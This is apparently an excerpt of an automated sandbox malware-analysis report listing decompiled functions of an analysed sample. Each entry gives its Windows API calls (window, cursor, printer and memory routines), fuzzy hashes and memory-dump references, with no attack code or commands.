Opcode Fuzzy Hash: 543addeddcc34a236dd7761b4b7f7fba4d893ed4bb1e93ee94811d4b35cdbfd7
Instruction Fuzzy Hash: C1F012719407445BD730BF769D49B47BED4FFC4B10F02092ED1458BA90E6B5A400DF44

Function 004214D0 Relevance: 9.2, APIs: 6, Instructions: 176windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 00421521
IsWindow.USER32(?), ref: 00421536
IsChild.USER32(?,?), ref: 00421547
SetFocus.USER32(?), ref: 00421558
IsWindow.USER32(?), ref: 00421650
IsWindowVisible.USER32(?), ref: 0042165E

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$ChildFocusVisible
String ID:
API String ID: 372613587-0
Opcode ID: 405fc01697aae2d5ee5733dd474674a215c7cf694171b804e86910c3a63f9a99
Instruction ID: 748554b6311912b3ff6843d1d7c051a215691b5e54712e0ffa750d2da256a140
Opcode Fuzzy Hash: 405fc01697aae2d5ee5733dd474674a215c7cf694171b804e86910c3a63f9a99
Instruction Fuzzy Hash: 7D51BE716003459FD720EF26D880D6BB7E8BF94348F45492EF84597362DB38E805CBAA

Function 0043D800 Relevance: 9.1, APIs: 6, Instructions: 133windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0043D82C

Part of subcall function 00491AF1: InterlockedIncrement.KERNEL32(-000000F4), ref: 00491B06

OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 0043D85D
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,?,?,00000000), ref: 0043D8A5
DocumentPropertiesA.WINSPOOL.DRV(?,?,?,00000000,00000000,0000000E,00000000,?,00000000,00000000,00000000,00000002,00000000), ref: 0043D932
ClosePrinter.WINSPOOL.DRV(?,?,?,?,00000000,00000000,0000000E,00000000,?,00000000,00000000,00000000,00000002,00000000), ref: 0043D967

Part of subcall function 00491D7C: InterlockedDecrement.KERNEL32(-000000F4), ref: 00491D90

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: DocumentInterlockedProperties$CloseDecrementIncrementMessageOpenPrinterPrinter.Send
String ID:
API String ID: 1978028495-0
Opcode ID: 74e652f4ea4ed92b8a081c590429e9d66f105af319a310f0ea609653eff930e6
Instruction ID: a8941f3fd1dd7c0d12a6bf64797a4ad8495eecc862e7cb09f89899bc3600b111
Opcode Fuzzy Hash: 74e652f4ea4ed92b8a081c590429e9d66f105af319a310f0ea609653eff930e6
Instruction Fuzzy Hash: 614115B4104345ABC724EF25C880EEF7BA9EFD8724F004A1EF85987391D7389944C7AA

Function 00434040 Relevance: 9.1, APIs: 6, Instructions: 124COMMON

Download Yara Rule

APIs

CopyRect.USER32(?,00000000), ref: 00434082
IsRectEmpty.USER32(?), ref: 004340B3
OffsetRect.USER32(?,00000000,?), ref: 00434103
LPtoDP.GDI32(?,?,00000002), ref: 00434138
GetClientRect.USER32(?,?), ref: 00434147
IntersectRect.USER32(?,?,?), ref: 0043415C

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$ClientCopyEmptyIntersectOffset
String ID:
API String ID: 1743551499-0
Opcode ID: 37df4696184f66dea97da99c99a802a2a7d276ddfab0771ce3fdf6a5bbb8e057
Instruction ID: 6e08f70a20cc9aadff1f0c0a636d74e27b2ef12ac297183638b6ff98dd88bec5
Opcode Fuzzy Hash: 37df4696184f66dea97da99c99a802a2a7d276ddfab0771ce3fdf6a5bbb8e057
Instruction Fuzzy Hash: 9C410AB66087019FC318CF59D88096BBBE9FBC8710F048A2EF556C7251DB34E949CB62

Function 0048CA88 Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,004ADD0C,00000001,?,756EE860,00501204,?,?,0048248D,?,?,?,00000000,00000001), ref: 0048CAC7
GetStringTypeA.KERNEL32(00000000,00000001,004ADD08,00000001,?,?,0048248D,?,?,?,00000000,00000001), ref: 0048CAE1
GetStringTypeA.KERNEL32(?,?,?,?,0048248D,756EE860,00501204,?,?,0048248D,?,?,?,00000000,00000001), ref: 0048CB15
MultiByteToWideChar.KERNEL32(?,00501205,?,?,00000000,00000000,756EE860,00501204,?,?,0048248D,?,?,?,00000000,00000001), ref: 0048CB4D
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,0048248D,?), ref: 0048CBA3
GetStringTypeW.KERNEL32(?,?,00000000,0048248D,?,?,?,?,?,?,0048248D,?), ref: 0048CBB5

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: 77c343351020fc5b91e5912e70031fb4dc7de1cec3c219d1cab9cbe92ef0808e
Instruction ID: e9ae3c0fb137caa1a89faea4b8b0d1d9f2e7cbb8a3144fa7455fa05292e69fb9
Opcode Fuzzy Hash: 77c343351020fc5b91e5912e70031fb4dc7de1cec3c219d1cab9cbe92ef0808e
Instruction Fuzzy Hash: 47419F72900219BFDF21AF64EC86EEF7F79EB09750F104826F901D2260D3389951CBA8

Function 00429490 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00429400: CreateDIBitmap.GDI32(?,?,00000004,?,?,00000000), ref: 0042947B

CreateCompatibleDC.GDI32(?), ref: 004294EA
DeleteObject.GDI32(00000000), ref: 004294FF

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Create$BitmapCompatibleDeleteObject
String ID:
API String ID: 3709961035-0
Opcode ID: 2435ebb54ded4c5972e9ed7db12b5ded07c2443f77bb5bc71bbc2ceb013bff23
Instruction ID: 3be4bf1241821e3c79e89c17479abd7f5e3f558a29de617bde0be4a0884c864b
Opcode Fuzzy Hash: 2435ebb54ded4c5972e9ed7db12b5ded07c2443f77bb5bc71bbc2ceb013bff23
Instruction Fuzzy Hash: 8E3180762087419BC314DF29D880F5BBBE8FB89724F004A2EF55983391DB38A805CB66

Function 00425A40 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00425ACD
wsprintfA.USER32 ref: 00425AE9

Strings

?? / %d], xrefs: 00425AE3
- [, xrefs: 00425A68
%d / %d], xrefs: 00425AC7
- , xrefs: 00425B14

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: wsprintf
String ID: - $ - [$%d / %d]$?? / %d]
API String ID: 2111968516-3107364983
Opcode ID: e0c0fa844e083ecd302fefb3613851518762c00b9e51265bbbc29ea937825a08
Instruction ID: 2d5992ecd56c02d7c9fe1598d15c940c2a0f1ec7e65fbaee8299c113f06ae3f5
Opcode Fuzzy Hash: e0c0fa844e083ecd302fefb3613851518762c00b9e51265bbbc29ea937825a08
Instruction Fuzzy Hash: 9431A274204711AFC714DB25DD82FABBBE4EF85714F508A2EF49683290DB78A804CB5A

Function 0049B655 Relevance: 9.1, APIs: 6, Instructions: 85memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(004FCF74,004FCF64,00000000,?,004FCF74,?,0049B8BD,004FCF64,00000000,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049B660
EnterCriticalSection.KERNEL32(004FCF90,00000010,?,004FCF74,?,0049B8BD,004FCF64,00000000,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049B6AF
LeaveCriticalSection.KERNEL32(004FCF90,00000000,?,004FCF74,?,0049B8BD,004FCF64,00000000,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049B6C2
LocalAlloc.KERNEL32(00000000,00000004,?,004FCF74,?,0049B8BD,004FCF64,00000000,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049B6D8
LocalReAlloc.KERNEL32(?,00000004,00000002,?,004FCF74,?,0049B8BD,004FCF64,00000000,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049B6EA
TlsSetValue.KERNEL32(004FCF74,00000000), ref: 0049B726

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: AllocCriticalLocalSectionValue$EnterLeave
String ID:
API String ID: 4117633390-0
Opcode ID: fce94ffbbd93327a2eed39375d08527b6cca1d78647567569aab513720223bfb
Instruction ID: 77f91489323dbb82bc979300b26e99d55ebb554b6a6e4de2e9966f9891ce7812
Opcode Fuzzy Hash: fce94ffbbd93327a2eed39375d08527b6cca1d78647567569aab513720223bfb
Instruction Fuzzy Hash: 9B31BC71200204AFDB24DF55D889F6ABBE8EB89364F00852AE916C7650E738F815CBA5

Function 00494493 Relevance: 9.1, APIs: 6, Instructions: 82windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00494498
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 004944E5
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 00494507
GetCapture.USER32 ref: 00494519
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00494528
WinHelpA.USER32(?,?,?,?), ref: 0049453C

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend$CaptureH_prologHelp
String ID:
API String ID: 432264411-0
Opcode ID: e842e0b77844907482e4fad9d254625ab730933accc6cbd09d20b5c2787cad3c
Instruction ID: 5f12eacb9e76310365f3c5caac33b6f64f0becba596d8addd1688818adaf986c
Opcode Fuzzy Hash: e842e0b77844907482e4fad9d254625ab730933accc6cbd09d20b5c2787cad3c
Instruction Fuzzy Hash: B1219171600208BFEF216F55CC8AF6E7BA9FF48758F01457EB211961E2CB749C019B54

Function 00499966 Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00499999
GetLastActivePopup.USER32(?), ref: 004999A8
IsWindowEnabled.USER32(?), ref: 004999BD
EnableWindow.USER32(?,00000000), ref: 004999D0
GetWindowLongA.USER32(?,000000F0), ref: 004999E2
GetParent.USER32(?), ref: 004999F0

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: ae3faa26d3f535e116d11d38f05e8896764f351683e3b7acc728bee044567a4c
Instruction ID: 833b9e1bdae0108ab1aa947729dec63e346e15862f7bd3424c3d7463c1c28529
Opcode Fuzzy Hash: ae3faa26d3f535e116d11d38f05e8896764f351683e3b7acc728bee044567a4c
Instruction Fuzzy Hash: 5411C6B2A013255B9E311E6F4C80B6BBE985F96B91F09023FED01D3315DB2CCC0142AD

Function 00412290 Relevance: 9.1, APIs: 6, Instructions: 54windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000002,?), ref: 004122AB
SendMessageA.USER32(?,00001101,00000000,00000000), ref: 004122BD
SendMessageA.USER32(?,0000110A,00000002,?), ref: 004122CB
SendMessageA.USER32(?,0000110A,00000001,?), ref: 004122DD
SendMessageA.USER32(?,00001101,00000000,00000000), ref: 004122EF
SendMessageA.USER32(?,0000110A,00000001,?), ref: 004122FD

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: dd81c874466b4786eede336648868a27b1119950c0420a2ef4b9e51467370da8
Instruction ID: 776b0bfc76934b4351a62469440ce903f639c89dd6add11637a0e235c02c826b
Opcode Fuzzy Hash: dd81c874466b4786eede336648868a27b1119950c0420a2ef4b9e51467370da8
Instruction Fuzzy Hash: E50186B2B403053EF634D6658CC2FE7A2AD9F98B51F008619B701EB2C0C5F5EC814674

Function 00436D10 Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00436D32
ScreenToClient.USER32(00000001,?), ref: 00436D41

Part of subcall function 00436DC0: DPtoLP.GDI32(?,?,00000001), ref: 00436ED7

LoadCursorA.USER32(00000000,00007F85), ref: 00436D71
SetCursor.USER32(00000000), ref: 00436D78
LoadCursorA.USER32(00000000,00007F84), ref: 00436D97
SetCursor.USER32(00000000), ref: 00436D9E

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Cursor$Load$ClientScreen
String ID:
API String ID: 789353160-0
Opcode ID: fd1179656b1fa0f87b856785aba7bd865af9002a4c3d318a461090695f3d261d
Instruction ID: b93ec082ea9cd5550ff660b66138c7b7dd1ae9c5e08a1df14e50784967382b20
Opcode Fuzzy Hash: fd1179656b1fa0f87b856785aba7bd865af9002a4c3d318a461090695f3d261d
Instruction Fuzzy Hash: 9811CC35604201ABCB10DF64ED49EDF77E8AB98B05F04462EF545872D0EA74D908C777

Function 0049936B Relevance: 9.0, APIs: 6, Instructions: 48windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0049936E

Part of subcall function 00499210: GetWindowLongA.USER32(00000000,000000F0), ref: 00499221

GetParent.USER32(00000000), ref: 00499395

Part of subcall function 00499210: GetClassNameA.USER32(00000000,?,0000000A), ref: 0049923C
Part of subcall function 00499210: lstrcmpiA.KERNEL32(?,combobox), ref: 0049924B

GetWindowLongA.USER32(?,000000F0), ref: 004993B0
GetParent.USER32(?), ref: 004993BE
GetDesktopWindow.USER32 ref: 004993C2
SendMessageA.USER32(00000000,0000014F,00000000,00000000), ref: 004993D6

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
